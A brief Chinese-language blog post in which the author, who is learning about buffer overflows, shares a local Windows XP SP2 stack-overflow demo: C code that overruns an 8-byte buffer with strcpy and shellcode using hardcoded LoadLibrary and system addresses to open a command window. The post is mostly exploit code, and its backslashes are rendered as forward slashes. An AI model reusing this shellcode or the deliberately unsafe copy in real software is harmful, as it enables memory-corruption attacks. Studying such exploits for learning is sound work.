学步园

今天看了下缓冲区溢出，总算是了解了个大概，并且尝试了本地的缓冲区溢出，代码如下：

#include<windows.h><br /> char strShellcode[] =<br /> "/x41/x41/x41/x41"<br /> "/x41/x41/x41/x41"<br /> "/x22/x33/x44/x55"<br /> "/x12/x45/xfa/x7f"<br /> //以下是shellcode 开dos窗口<br /> "/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"<br /> "/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"<br /> "/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"<br /> "/x77/x1d/x80/x7c" //LoadLibray XPSP2上地址为 7c801d77<br /> "/x52/x8D/x45/xF4/x50/xFF/x55/xF0"<br /> "/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"<br /> "/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"<br /> "/x50/xB8"<br /> "/xc7/x93/xbf/x77" //system XPSP2上地址为 77bf93c7<br /> "/xFF/xD0" //call eax<br /> "/x83/xC4/x12/x5D"; //平衡堆栈<br /> int main()<br /> {<br /> char name[8];<br /> strcpy(name,strShellcode);<br /> return 0;<br /> }